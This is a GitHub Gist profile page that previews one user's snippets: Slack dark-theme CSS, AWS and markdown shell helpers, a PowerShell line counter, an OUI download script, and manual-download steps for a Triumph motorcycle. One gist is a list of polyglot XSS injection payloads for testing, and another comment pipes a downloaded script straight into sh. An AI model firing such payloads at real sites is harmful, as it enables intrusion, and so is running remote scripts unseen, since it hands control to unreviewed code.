Skip to content

Instantly share code, notes, and snippets.

View sodejm's full-sized avatar

Justin Soderberg sodejm

View GitHub Profile

Triumph decided not to do paper manual anymore so here is a not so straight forward way of downloading the manual for offline use. This could all be scripted but I only own 1 bike and downloaded it once.

Also, fyi search doesn't work right now as I have not bothered to correct that code yet. Will update when that happens.

  1. Sign in an get a subscription to tritun.net
  2. Export your browsers tritun.net cookies to a netscape cookie file
  3. Find the document root from the portal and use the number in the following command

The following is for a 2020 Triumph T120

@sodejm
sodejm / black.css
Last active January 24, 2019 21:52
slack dark css
@-moz-document regexp("https://[^./]*\\.slack\\.com/(?!pricing)(?!security).*") { body { background: #222; color: #e6e6e6; }
a { color: #949494; }
a:link, a:visited { color: #949494; }
a:hover, a:active, a:focus { color: #c7c7c7; }
hr { border-bottom: 1px solid #424242; border-top: 1px solid #222; }
h1, h2, h3, h4 { color: #e6e6e6; }
h1 a { color: #e6e6e6; }
h1 a:active, h1 a:hover, h1 a:link, h1 a:visited { color: #e6e6e6; }
.bordered { border: 1px solid #363636; }
.top_border { border-top: 1px solid #363636; }
@sodejm
sodejm / darkify_slack.sh
Created January 23, 2019 18:44 — forked from ryanpcmcquen/darkify_slack.sh
Darkify your Slack.
#!/bin/sh
# Darkify Slack on Mac OS:
# curl https://gist.githubusercontent.com/ryanpcmcquen/8a7ddc72460eca0dc1f2dc389674dde1/raw/darkify_slack.sh | sh
SLACK_INTEROP_JS="/Applications/Slack.app/Contents/Resources/app.asar.unpacked/src/static/ssb-interop.js"
# Thanks to: https://gist.github.com/DrewML/0acd2e389492e7d9d6be63386d75dd99#gistcomment-2358430
if [ -z "`grep tt__customCss ${SLACK_INTEROP_JS}`" ]; then
# Backup original CSS for reverts:
# Author: sodejm
# Add to bash_profile as a quick way to list your US EC2 instances
# requires the aws-cli
# use: listusec2
# List all EC2 Instances for US regions
function listec2(){
for region in `aws ec2 describe-regions --filters "Name=endpoint,Values=*us*" --output text |
cut -f3`
do
@sodejm
sodejm / countLoC.ps1
Created February 7, 2018 17:45
Basic Powershell script to count lines of code, this probably isn't 100% accurate but works for my basic purposes
# .\countLOC.ps1 -path "C:\code\MyProject" -outputFile "C:\code\loc.csv" -include "*.cs" -exclude "*.designer.cs"
param([string]$path, [string]$outputFile, [string]$include = "*.*", [string]$exclude = "")
Clear-Host
Get-ChildItem -re -in $include -ex $exclude $path |
Foreach-Object { Write-Host "Counting $_.FullName"
$fileStats = Get-Content $_.FullName | Measure-Object -line
$linesInFile = $fileStats.Lines
"$_,$linesInFile" } | Out-File $outputFile -encoding "UTF8"
Write-Host "Complete"
# Author: sodejm
# Add to bash_profile as a quick way to conver markdown notes to word doc
# requires pandoc to be installed
# use: md2doc file1.md
# this will output file1.doc
# Note: this does not handle docs with spaces in the filename well so feel free to modify that or just name things like file_1.md
function md2doc() {
echo "Converting a markdown file to docx"
#!/bin/bash
#Justin Soderberg
# Will download IEEE oui database and format it to be used with dhcpd(posix) in splunk
#download file
wget standards.ieee.org/develop/regauth/oui/oui.txt
#extract and format new file
grep -i '(hex)' oui.txt >> mod_oui.txt
sed -i 's/-/:/g' mod_oui.txt
@sodejm
sodejm / Set Terminal Title
Created March 11, 2017 16:45
Set a custom terminal title
# Add to bashrc
# tested and working in Kali 2.0
# function to set terminal title
function set-title(){
if [[ -z "$ORIG" ]]; then
ORIG=$PS1
fi
TITLE="\[\e]2;$*\a\]"
PS1=${ORIG}${TITLE}
}
@sodejm
sodejm / xsspayloads.txt
Created December 29, 2016 22:25
customize list of xss payloads, much of the credit should go to fuzzdb/rsnake/lcamptuf. some are my own but many are just added over time from around the web
"/><img src=x onerror=alert('sodejm')/>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascrip@Ωt://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
@sodejm
sodejm / osx_brew_tools_install.sh
Created December 25, 2016 06:02
will keep this updated with the main tools i need for a clean osx install
brew install cloc ipcalc python3 mtr slurm rsync exiftool